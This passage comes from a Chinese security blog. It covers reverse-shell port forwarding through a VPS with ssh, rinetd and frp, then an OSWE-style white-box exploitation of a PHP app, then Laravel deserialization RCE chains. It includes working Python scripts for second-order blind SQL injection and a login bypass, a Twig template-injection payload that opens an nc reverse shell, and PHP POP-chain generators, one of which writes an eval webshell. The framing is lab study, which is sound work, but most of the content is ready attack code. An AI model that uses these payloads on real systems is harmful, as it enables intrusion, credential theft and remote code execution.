    • 方法2.让SSH客户端定时发送消息保持连接

      • 永久方案:修改SSH客户端配置文件。在Windows上,这个文件位于<用户目录>\.ssh\config,默认是没有这个配置文件的,需要手动创建一个。内容如下:

        1
        2
        Host *
        ServerAliveInterval 240
      • 一次性方案:启动SSH客户端时添加参数:-o ServerAliveInterval=240

    • 方法3.让SSH服务端定时发送消息保持连接。修改/etc/ssh/sshd_config,添加下面两行:

      1
      2
      ServerAliveInterval 30
      ServerAliveCountMax 60
  • 本地kali执行如下命令:
1
ssh -fNTR 4444:192.168.91.138:4444 -p vps-port root@vps-ip

执行完之后,退出rinetd的命令:(不要仅退出rinetd -c /etc/rinetd.conf

1
pkill rinetd

第三种办法:frp

  • 分别在vps和虚拟机kali 上下载对应版本的frp

  • vps上配置服务端(frps.ini

1
2
[common]
bind_port = 7000
  • 配置完启动服务端
1
./frps -c frps.ini
  • 虚拟机kali配置客户端
1
2
3
4
5
6
7
8
9
[common]
server_addr = vps-ip
server_port = 7000

[nc] //随便取名,便于区分,这里反弹nc
type = tcp
local_ip = 127.0.0.1
local_port = 4444
remote_port = 5555
  • 配置完启动客户端
1
./frpc -c frpc.ini

客户端通过vpsip7000端口建立连接,把本地的4444端口数据传递给公网的5555端口。

参考链接:

SSH的三种端口转发

SSH 端口映射

iptables端口转发

利用autorun建立ssh隧道

备考OSWE,本次分析的代码是White-box-pentesting。涉及到三个漏洞,二阶盲注登录逻辑验证不当模版注入

首先访问网站,如下所示:

label

可以看到网站需要登录,我们暂时没有用户,尝试注册。注册的部分实现代码在trouble1_whiteBox/register.php

1
2
3
4
5
6
7
8
9
<?php
include("config.php");
session_start();

if($_SERVER["REQUEST_METHOD"] == "POST") {
// username and password sent from form
if(isset($_POST['register'])){
$myusername = mysqli_real_escape_string($db,$_POST['username']);
$mypassword = mysqli_real_escape_string($db,$_POST['form_password_hidden']);

可以发现对注册的用户名和密码适用mysqli_real_escape_string函数进行了过滤。

随便注册一个普通账户,登录之后发现会显示登录日志。

label

日志信息会更新存入数据库,然后是从数据库中获取的,更新日志代码实现在trouble1_whiteBox/user_log_update.php中,部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php  
include('session.php');


if(isset($login_session)) {

$date = date('m/d/Y h:i:s a', time());
$sql = "INSERT INTO user_log(username, login_date) values ('$login_session', '$date')";
$result = mysqli_query($db,$sql);
$row = mysqli_fetch_array($result,MYSQLI_ASSOC);

if($result == true){
header("location: welcome.php");
$log_update_msg = 'Log files updated';
}

}

如果这里的insert出现错误,则用户的信息不会被插入数据库。

显示日志代码实现在trouble1_whiteBox/user_log.php,部分代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($login_session)) {

$sql = "SELECT * FROM user_log WHERE username = '$login_session'";

$res=$db->query($sql);

$count = '1';

while($row = @mysqli_fetch_array($res))

{

echo $count.' '.'Username: '.$row["username"].' '.'Date: '. $row["login_date"].'<br>';

$count = $count + 1;

}
}

注意查询用户登录日志的时候,用户名使用的$login_session,这个变量是从数据里直接取出来的,虽然注册的用户名经过过滤,但是用户名中如果存在单引号会带入数据库中,如果后续从数据库中取出该用户名,没有过滤的话会引起注入。

查看trouble1_whiteBox/session.php文件实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include('config.php');
session_start();

$user_check = $_SESSION['login_user'];

$ses_sql = mysqli_query($db,"select username from users where username = '$user_check' ");

$row = mysqli_fetch_array($ses_sql,MYSQLI_ASSOC);


$login_session = $row['username'];



if(!isset($login_session)){
header("location: index.php");
}
?>

获取用户名存在问题,如果用户输入的用户名存在单引号等注入非法字符,会原封不动的从数据库里获取,这样$login_session就带入了单引号,在查询登录日志信息时会引起注入。

注册两个用户,分别是' or 1=1#' or 1=2#,登录之后,发现用户登录日志会不同,也就是说这里存在二阶盲注。

' or 1=1#登录后的日志信息截图如下:

label

' or 1=2#登录后的日志信息截图如下:

label

那么,就可以通过二阶盲注获取管理员用户和密码。具体代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import requests
import sys
import hashlib


def sha1(password):
m = hashlib.sha1()
m.update(password.encode("utf-8"))
return m.hexdigest()


def gen_hash(password, token):
m = hashlib.sha1()
m.update((password + token).encode("utf-8"))
return m.hexdigest()


def register(ip, inj_str):
for j in range(32, 126):
# Getting registered
target = "http://%s//register.php" % (ip)
password = 'password'
passhashed = sha1(password)
username = '%s' % (inj_str.replace("[CHAR]", str(j)))

data = {
"form_password_hidden": passhashed,
"username": username,
"password": "",
"register": 'submit'
}

r = requests.post(target, data=data, allow_redirects=True)

return True


# Logging in
def login(ip, inj_str):
for j in range(32, 126):
target = "http://%s/login.php" % (ip)
token = 'token'
password = 'password'
passhashed = sha1(password)
hashed = gen_hash(passhashed, token)
username = '%s' % (inj_str.replace("[CHAR]", str(j)))

data = {
"form_password_hidden": hashed,
"username": username,
"password": "",
"submit": 'submit',
"token": 'token'
}
s = requests.Session()
r = s.post(target, data=data)
res = r.text

if 'welcome' in res or 'Welcome' in res:

# open log files
target = "http://%s/user_log.php" % (ip)
r = s.get(target)
content_length = int(r.headers['Content-Length'])

if content_length > 344:
return j

return False


def inject(r, inj, ip):
extracted = ""
for k in range(1, r):

injection_string = "'or (ascii(substring(((%s)),%s,1)))=[CHAR]#" % (inj, k)
register(ip, injection_string)
retrieved_value = login(ip, injection_string)
if retrieved_value:
extracted += chr(retrieved_value)
extracted_char = chr(retrieved_value)
sys.stdout.write(extracted_char)
sys.stdout.flush()
else:
print("\n(+) done!")
break
return extracted


def main():
if len(sys.argv) != 2:
print("(+) usage: %s <target>" % sys.argv[0])
print('(+) eg: %s 192.168.1.100' % sys.argv[0])
sys.exit(-1)

ip = sys.argv[1]

print("(+) logging in")
print("(+) Retrieving username....")
query = "select username from admin where id=1"
username = inject(40, query, ip)
print("(+) Retrieving Password hash....")
query = 'select password from admin where username = \'%s\' limit 1' % (username)
password = inject(50, query, ip)
print("(+) Credentials: %s / %s" % (username, password))


if __name__ == "__main__":
main()

接下里看一下登录逻辑,trouble1_whiteBox/login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
include("config.php");

session_start();

if (isset($_POST['token']))

{

$_SESSION['token'] = $_POST['token'];

}

else{

if (!isset($_SESSION['token']))

$_SESSION['token'] = sha1(mt_rand() . microtime(TRUE));

}

if($_SERVER["REQUEST_METHOD"] == "POST") {


// username and password sent from form

if(isset($_POST['username'])){

$myusername = mysqli_real_escape_string($db,$_POST['username']);

$mypassword = mysqli_real_escape_string($db,$_POST['form_password_hidden']);

$passtoken = $_SESSION['token'];

$sql = "SELECT id FROM users WHERE username = '$myusername' and SHA1(CONCAT(password, '$passtoken'))='$mypassword'";

$result = mysqli_query($db,$sql);

$row = mysqli_fetch_array($result,MYSQLI_ASSOC);

$active = $row['active'];

$count = mysqli_num_rows($result);

// If result matched $myusername and $mypassword, table row must be 1 row

if($count == 1) {

$_SESSION['login_user'] = $myusername;
include('user_log_update.php');
header("location: welcome.php");

}else {

$error = "Your Login Name or Password is invalid";

}

}

}
?>

注意查询语句$sql = "SELECT id FROM users WHERE username = '$myusername' and SHA1(CONCAT(password, '$passtoken'))='$mypassword'";,我们在开始利用二阶忙注已经获取用户名和密码的hash,其中密码hash破解起来非常困难,在这里可以看到只要满足查询条件,即可登录用户成功。$mypassword$passtoken都是我们可以控制的,查询语句中的password我们已经通过注入获取到,查询语句的条件我们都可以让其满足,从而可以登录成功。

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import sys
import hashlib


def gen_hash(sha1password, token):
m = hashlib.sha1()
m.update(sha1password + token)
return m.hexdigest()


def login(ip, username, password):
target = "http://%s//login.php" % (ip)
token = 'token'
password = gen_hash(password, token)
data = {
"form_password_hidden": password,
"username": username,
"password": "",
"submit": 'submit',
"token": token
}
s = requests.Session()
r = s.post(target, data=data)
res = r.text

if 'welcome' in res or 'Welcome' in res:
print("(+) Login Successful")
print("(+) Login using hash was successful")
else:
print("(-) Login Failed")


def main():
if len(sys.argv) != 4:
print("(+) usage: %s <target> <username> <hash>" % sys.argv[0])
print('(+) eg: %s 192.168.1.100 test 6def5b004ce10c7667f82c776b1a0c75b599cdd8' % sys.argv[0])
sys.exit(-1)

ip = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
login(ip, username, password)


if __name__ == "__main__":
main()

登录admin后台之后,发现存在上传点,查看上传的实现代码trouble1_whiteBox/upload.php如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if(isset($_REQUEST['upload'])){

if($_FILES["file"]["error"])
{
header("Location: welcome.php");
die();
}

$notAllowed = array('php','php1','php2','php3','php4','php5','php6','php7','phtml','exe','html','cgi','asp','gif','jpeg','png','vb','inf');

$splitFileName = explode(".", $_FILES["file"]["name"]);

$fileExtension = end($splitFileName);


if(in_array($fileExtension, $notAllowed))
{
echo "Please upload a TEXT file";
}
else{

echo "Name: ".$_FILES["file"]["name"];
echo "<br>Size: ".$_FILES["file"]["size"];
echo "<br>Temp File: ".$_FILES["file"]["tmp_name"];
echo "<br>Type: ".$_FILES["file"]["type"];

move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/".$_FILES["file"]["name"]);
}

发现存在黑名单,显然可以绕过,如上传*.Php这样的文件即可,但是uploads目录下存在.htaccess文件,内容如下:

1
2
order deny, allow 
deny from all

如果可以上传文件覆盖.htaccess文件为如下内容:

1
SetHandler application/x-httpd-php

那么上传的任意文件都会被当作php脚本来执行。这样就可以绕过目录php代码执行的限制。

或者指定解析某种类型后缀的文件:

1
AddType application/x-httpd-php .abc

上面所示,任何以abc为后缀的文件都会当作php解析。

为了使目录下的.htaccess文件起作用,需要设置apache2.conf.htaccess不起作用的原因 ,通常是apache2.conf文件的AllowOverride设置有问题, 可能是AllowOverride None 造成的。把这个改为AllowOverride All即可。

除了有上传点,可以发现username那里存在模板注入,通过阅读源码trouble1_whiteBox/admin/welcome.php,部分代码如下:

1
2
3
4
5
6
7
8
9
  <div style="padding:10px;">
<form method='POST' action=''>
<div class="form-group">
<label>Search username</label><br>
<input style="width:200px" class="form-control" width="50%" placeholder="Enter username" name="name">
<br><br>
<div align="left" >
<button class="btn btn-default" type="submit" name='submit'>Submit Button</button>
<?php include ('vendor/twig.php')?>

twig.php看到这个文件,怀疑存在twig模板注入。查看twig.php具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if (isset($_REQUEST['submit'])) {
$name=$_POST['name'];
if (preg_match('/^[A-Za-z]{1}[A-Za-z0-9]{0,31}$/', $name)){
// include and register Twig auto-loader
include 'vendor/twig/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();
try {
// specify where to look for templates
$loader = new Twig_Loader_String();

// initialize Twig environment
$twig = new Twig_Environment($loader);
// set template variables
// render template
$result= $twig->render($name);
echo "<h2>Hello ". @$result ."</h2>";

} catch (Exception $e) {
die ('ERROR: ' . $e->getMessage());
}
}

}

?>

这里存在模板注入,可以简单测试,在username里输入49会得到结果49,如下所示:

label

这样就证明存在模板注入,查找twig模板注入payload,执行如下payload

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

显示用户的ID,以及所属群组的ID,要获取反弹shell只需替换如下payload中的reverse shell payload即可:

1
{{_self.env.registerUndefinedFilterCallback("exec")}{{_self.env.getFilter("reverse shell payload")}}

反弹shell的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def admin_login(ip, username, password):
target = "http://%s/admin/index.php" % (ip)
token = 'token'
password = gen_hash(password, token)
data = {
"form_password_hidden": password,
"username": username,
"password": "",
"submit": 'submit',
"token": token
}
s = requests.Session()
r = s.post(target, data=data)
res = r.text

if 'welcome' in res or 'Welcome' in res:
print("(+) Login Successful")
print("(+) Login using hash was successful")
else:
print("(-) Login Failed")

print("(+) Getting reverse shell")
target = "http://%s/admin/welcome.php" % (ip)
payload = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nc %s %s -e ' \
'/bin/bash")}}' % ("192.168.13.4", "4444")
data = {
"name": payload,
"submit": 'submit',
}

_ = s.post(target, data=data)

环境搭建

本地Win10+phpstudy+phpstorm+xdebug。涉及到几个点:

1.php、composer加入环境变量

将phpstudy里面的php执行路径加入环境变量,phpstudy自带的composer版本比较低,可以到composer官网下载最新版。

2.xdebug配置

​ 配置文件如下

1
2
3
4
5
6
7
8
9
10
11
12
zend_extension = E:\phpstudy_pro\Extensions\php\php7.0.9nts\ext\php_xdebug.dll
xdebug.profiler_enable=1
xdebug.profiler_enable_trigger=0
xdebug.profiler_output_dir="D:\Server\PHP\xdebug"
xdebug.trace_output_dir="D:\Server\PHP\xdebug"
xdebug.profiler_output_name="xdebug.cache.%t-%s"
xdebug.profiler_append=0
xdebug.remote_enable=1
xdebug.remote_host="localhost"
xdebug.remote_port=9001
xdebug.remote_handler="dbgp"
xdebug.idekey=PHPSTORM

3.phpstorm配置Lavarel artisan调试

打开 PhpStorm 的配置功能,搜索 Debug 打开标签页,修改 xDebug port 为 9001

Tips: 9001 是可以自由修改的,但需要和 php.ini 配置的 xdebug.remote_port 保持一致

label

label

4.Lavarel版本

Laravel5.4.xLaravel5.5.x的PHP版本要求是>=7.0.0,Laravel5.6.x、Laravel5.7.x、Laravel5.8.x的PHP版本要求是7.1.3<=版本号<8.0.0

RCE1

​ 本文分析RCE1的时候,Laravel版本采用的是5.4.30,采用composer安装。

1
2
3
4
5
6
composer create-project --prefer-dist laravel/laravel laravel5.4.30 "5.4.*"
cd laravel5.4.30\
composer install
php artisan cache:clear
php artisan make:auth
php artisan migrate

​ 数据库迁移时可能出现的问题:

1
SQLSTATE[42000]: Syntax error or access violation: 1071 Specified key was too long; max key length is 1000 bytes (SQL: alter table `users` add unique `users_email_unique`(`email`))

​ 解决办法是编辑app/Providers/AppServiceProvider.php文件,添加如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

namespace App\Providers;

use Illuminate\Support\ServiceProvider;
use Illuminate\Support\Facades\Schema;

class AppServiceProvider extends ServiceProvider
{
public function register()
{
}

public function boot()
{
Schema::defaultStringLength(191);
}
}

​ 错误原因是因为我所需要的字段长度太长了,而默认的字段长度并没有这么长。重新执行php artisan migrate即可。(可能提示某些项已经存在,那就先删除指定数据库,然后新建一个数据库)

​ 接下来创建控制器:

1
php artisan make:controller DemoController

​ 配置路由(\routes\web.php)(记得注释原来的路由):

1
2
3
4
5
6
7
use App\Http\Controllers\DemoController;

//Route::get('/', function () {
// return view('welcome');
//});

Route::get("/", "DemoController@demo");

​ 控制器(\app\Http\Controllers\DemoController.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.4.x";
}
}

​ 本地启动:php artisan serve --host=0.0.0.0

​ 访问:

label

入口类

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类

vendor/fzaninotto/faker/src/Faker/Generator.php/Generator

__destruct入手,PendingBroadcast::__destruct()第50-59行:

1
2
3
4
5
6
7
8
9
10
    /**
* Handle the object's destruction.
*
* @return void
*/
public function __destruct()
{
$this->events->dispatch($this->event);
}
}

这里的event和events均可控,可以想到的利用方法有:控制events触发__call__callStatic方法或者控制event触发__toString方法。寻找可利用方法:同名方法dispatch或魔术方法__call__callStatic,找到Faker\GeneratorFaker\Generator::__call第277-286行:

1
2
3
4
5
6
7
8
9
10
/**
* @param string $method
* @param array $attributes
*
* @return mixed
*/
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

然后调用当前类的format方法,Faker\Generator::format第226-229行:

1
2
3
4
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

看到敏感函数了,但是这里回调函数经过了getFormatter函数的处理,查看一下定义,Faker\Generator::getFormatter第231-249行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* @param string $formatter
*
* @return Callable
*/
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

这里判断了一下$this->formatters[$formatter]是否存在,但是由于该类的成员变量全部可控,所以这个判断可以绕过。该类存在__wakeup方法,Faker\Generator::__wakeup

1
2
3
4
5
    public function __wakeup()
{
$this->formatters = [];
}
}

所以在我们调用unserialize时会触发,恰巧wakeup方法是清空我们要利用的formatters数组,所以我们需要利用CVE-2016-7124,通过修改变量个数来绕过它。该CVE的基本信息如下:

  • 存在漏洞的PHP版本: PHP5.6.25之前版本和7.0.10之前的7.x版本

  • 漏洞概述: __wakeup()魔法函数被绕过,导致执行了一些非预期效果的漏洞

  • 漏洞原理: 当对象的属性(变量)数大于实际的个数时,__wakeup()魔法函数被绕过

EXP1

本exp所在测试环境为PHP7.0.9+Laravel5.4.40。

可以看到,控制了call_user_func_array两个参数,而第二个参数是原来的$this->event经过__call之后变成了array($this->event),这意味着call_user_func_array第二个参数只能是个单元素的array。这还是能执行system的,因为system只有一个参数。最终payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $event;
protected $events;
public function __construct($events, $event){
$this->event = $event;
$this->events = $events;
}
}
}

namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters){
$this->formatters = $formatters;
}
}
}

namespace{
$generator = new Faker\Generator(array("dispatch"=>"system"));
$o = new Illuminate\Broadcasting\PendingBroadcast($generator, "dir");
$s = str_replace('"Faker\\Generator":1','"Faker\\Generator":2',serialize($o));
echo urlencode($s);
}

注:比较诡异的一点,这个payload我用在PHP7.3.9+Lavarel8.5.35的测试环境时,也能够执行成功。按理说PHP版本大于7.0.9,CVE-2016-7124无法触发。

这里有个需要注意的点,我们来看一下call_user_func_array函数的定义:

label

注意函数的第一个参数需要是callable类型的,该类型的解释如下:

label也就是说,在编写exp的时候,不能把eval传递给call_user_func_array函数,当做该函数的第一个参数的值。因为eval被排除在Callback类型之外了,传递进去会产生错误。

EXP2

本exp所在测试环境为PHP7.3.9+Laravel5.8.35。

EXP1中,如果靶机禁用了像system这种的危险函数,我们需要使用双参数的函数例如file_put_contents写shell,或者希望执行任意函数,那么上面的payload就没办法了。call_user_func_array 第一个参数是完全可控的,这意味着我们可以调用任意类对象的任意方法,那么我们找一个有危险函数的类,并且参数可控就好了。搜索寻找PhpOption/LazyOption 类中的option函数的call_user_func_array函数中间两个参数都是完全可控的,非常完美的函数。

vendor\phpoption\phpoption\src\PhpOption\LazyOption.php第153-170行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
   /**
* @return Option<T>
*/
private function option()
{
if (null === $this->option) {
/** @var mixed */
$option = call_user_func_array($this->callback, $this->arguments);
if ($option instanceof Option) {
$this->option = $option;
} else {
throw new \RuntimeException(sprintf('Expected instance of %s', Option::class));
}
}

return $this->option;
}
}

option函数不接受参数输入,但是LazyOption类其他的函数都是下面这样的,会直接调用option函数。类似如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function filter($callable)
{
return $this->option()->filter($callable);
}

public function filterNot($callable)
{
return $this->option()->filterNot($callable);
}

public function select($value)
{
return $this->option()->select($value);
}

最终payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

namespace Faker{
class Generator
{
protected $formatters = array();
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
}

namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
private $option;

public function __construct($callback, $arguments, $option)
{
$this->callback = $callback;
$this->arguments = $arguments;
$this->option = $option;
}

}
}


namespace{
$c = new PhpOption\LazyOption('file_put_contents', array('E:\\phpstudy_pro\\lavarel5.8.x\\shell.php', '<?php eval($_REQUEST["jrxnm"]);?>'), null);
$b = new Faker\Generator(array('dispatch'=> array($c, "filter")));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);
$s = str_replace('"Faker\\Generator":1','"Faker\\Generator":2',serialize($a));
echo urlencode($s);
}

RCE2

本文分析RCE2的时候,Laravel版本采用的是5.5.28,PHP版本采用的是7.0.9。

入口类

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类

vendor/laravel/framework/src/Illuminate/Events/Dispatcher.php/Dispatcher

Events/Dispatcher.php第176-220行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
* Fire an event and call the listeners.
*
* @param string|object $event
* @param mixed $payload
* @param bool $halt
* @return array|null
*/
public function dispatch($event, $payload = [], $halt = false)
{
// When the given "event" is actually an object we will assume it is an event
// object and use the class as the event name and this event itself as the
// payload to the handler, which makes object based events quite simple.
list($event, $payload) = $this->parseEventAndPayload(
$event, $payload
);

if ($this->shouldBroadcast($payload)) {
$this->broadcastEvent($payload[0]);
}

$responses = [];

foreach ($this->getListeners($event) as $listener) {
$response = $listener($event, $payload);

// If a response is returned from the listener and event halting is enabled
// we will just return this response, and not call the rest of the event
// listeners. Otherwise we will add the response on the response list.
if ($halt && ! is_null($response)) {
return $response;
}

// If a boolean false is returned from a listener, we will stop propagating
// the event to any further listeners down in the chain, else we keep on
// looping through the listeners and firing every one in our sequence.
if ($response === false) {
break;
}

$responses[] = $response;
}

return $halt ? null : $responses;
}

似乎$response = $listener($event, $payload);中的参数可以控制?去构造一个system(whoami)

$event变量是来自Illuminate\Broadcasting\PendingBroadcast类的$this->event我们可以控制。

所以接下来至少的利用都要去控制$listener变量。而$listener变量是来自getListeners()方法。

Events/Dispatcher.php第274-291行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* Get all of the listeners for a given event name.
*
* @param string $eventName
* @return array
*/
public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];

$listeners = array_merge(
$listeners, $this->getWildcardListeners($eventName)
);

return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}

可以发现我们可以控制的参数是$this->listeners[]数组,并且这里的$eventName就是Illuminate\Broadcasting\PendingBroadcast类的$this->event为我们执行命令的参数,所以class_exists($eventName, false)为false,直接返回$listeners。然后返回dispatch函数进行foreach操作,这里我们已经可以控制$this->getListeners($event)的返回值,所以就可以控制$listener。我们来看一下system函数的定义:

label

1
2
foreach ($this->getListeners($event) as $listener) {
$response = $listener($event, $payload);

我们可以知道,执行system命令,就可以不管$payload变量,并且system函数支持2个参数。

EXP

本exp所在测试环境为PHP7.0.9+Laravel5.5.28。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;

function __construct($events, $parameter)
{
$this->events = $events;
$this->event = $parameter;
}
}
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;

function __construct($function, $parameter)
{
$this->listeners = [
$parameter => [$function]
];
}
}
}
namespace{
$b = new Illuminate\Events\Dispatcher('system','dir');
$a = new Illuminate\Broadcasting\PendingBroadcast($b,'dir');
echo urlencode(serialize($a));
}

RCE3

入口类

vendor/fzaninotto/faker/src/Faker/Generator.php/Generator

RCE调用类

/vendor/laravel/framework/src/Illuminate/Notifications/ChannelManager.php/ChannelManager

该类继承Manager类,其中有__call方法(在挖掘的时候找到__call方法后不仅要看该类是否存在可利用的方法,其子类也要看),其实现如下:

vendor/laravel/framework/src/Illuminate/Support/Manager.php第129-139行:

1
2
3
4
5
6
7
8
9
10
11
12
    /**
* Dynamically call the default driver instance.
*
* @param string $method
* @param array $parameters
* @return mixed
*/
public function __call($method, $parameters)
{
return $this->driver()->$method(...$parameters);
}
}

跟进driver()方法,vendor/laravel/framework/src/Illuminate/Support/Manager.php第49-67行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* Get a driver instance.
*
* @param string $driver
* @return mixed
*/
public function driver($driver = null)
{
$driver = $driver ?: $this->getDefaultDriver();

// If the given driver has not been created before, we will create the instances
// here and cache it so we can return it next time very quickly. If there is
// already a driver created by this name, we'll just return that instance.
if (! isset($this->drivers[$driver])) {
$this->drivers[$driver] = $this->createDriver($driver);
}

return $this->drivers[$driver];
}

查看getDefaultDriver()函数,vendor/laravel/framework/src/Illuminate/Support/Manager.php第42-47行:

1
2
3
4
5
6
/**
* Get the default driver name.
*
* @return string
*/
abstract public function getDefaultDriver();

该函数实现在子类,/vendor/laravel/framework/src/Illuminate/Notifications/ChannelManager第141-149行:

1
2
3
4
5
6
7
8
9
/**
* Get the default channel driver name.
*
* @return string
*/
public function getDefaultDriver()
{
return $this->defaultChannel;
}

defaultChannel的值是我们可控的,比如是null,然后继续回到driver方法中,this->drivers我们可控,使其进入createDriver方法,/vendor/laravel/framework/src/Illuminate/Notifications/ChannelManager第69-92行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
* Create a new driver instance.
*
* @param string $driver
* @return mixed
*
* @throws \InvalidArgumentException
*/
protected function createDriver($driver)
{
try {
return parent::createDriver($driver);
} catch (InvalidArgumentException $e) {
if (class_exists($driver)) {
return $this->app->make($driver);
}

throw $e;
}
}

因为这里$customCreators是我们可控的,所以使if语句成立,进入callCustomCreator方法,vendor/laravel/framework/src/Illuminate/Support/Manager.php第94-103行:

1
2
3
4
5
6
7
8
9
10
/**
* Call a custom driver creator.
*
* @param string $driver
* @return mixed
*/
protected function callCustomCreator($driver)
{
return $this->customCreators[$driver]($this->app);
}

其中参数我们都可控,最终可以RCE。

EXP

本exp所在测试环境为PHP7.0.9+Laravel5.5.28。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;

function __construct($events)
{
$this->events = $events;
}
}
}


namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;

function __construct($function, $parameter)
{
$this->app = $parameter;
$this->customCreators = ['x' => $function];
$this->defaultChannel = 'x';
}
}
}

namespace{
$b = new Illuminate\Notifications\ChannelManager('system','dir');
$a = new Illuminate\Broadcasting\PendingBroadcast($b,null);
echo urlencode(serialize($a));
}

RCE4

入口类

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类

vendor/laravel/framework/src/Illuminate/Validation/Validator.php/Validator

PendingBroadcast::__destruct()入手,还是找魔术方法__call

vendor/laravel/framework/src/Illuminate/Validation/Validator.php第1123-1142行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    /**
* Handle dynamic calls to class methods.
*
* @param string $method
* @param array $parameters
* @return mixed
*
* @throws \BadMethodCallException
*/
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));

if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}

throw new BadMethodCallException("Method [$method] does not exist.");
}
}

extensionsrule均可控(rule值恒为空)(Str::snake用法参考文章https://laravel.com/docs/8.x/helpers#method-snake-case)绕过条件判断不是很困难,接着跟进`callExtension`函数。

vendor/laravel/framework/src/Illuminate/Validation/Validator.php第1091-1107行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* Call a custom validator extension.
*
* @param string $rule
* @param array $parameters
* @return bool|null
*/
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];

if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);
} elseif (is_string($callback)) {
return $this->callClassBasedExtension($callback, $parameters);
}
}

RCE就一目了然了。

EXP

本exp所在测试环境为PHP7.0.9+Laravel5.5.28。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
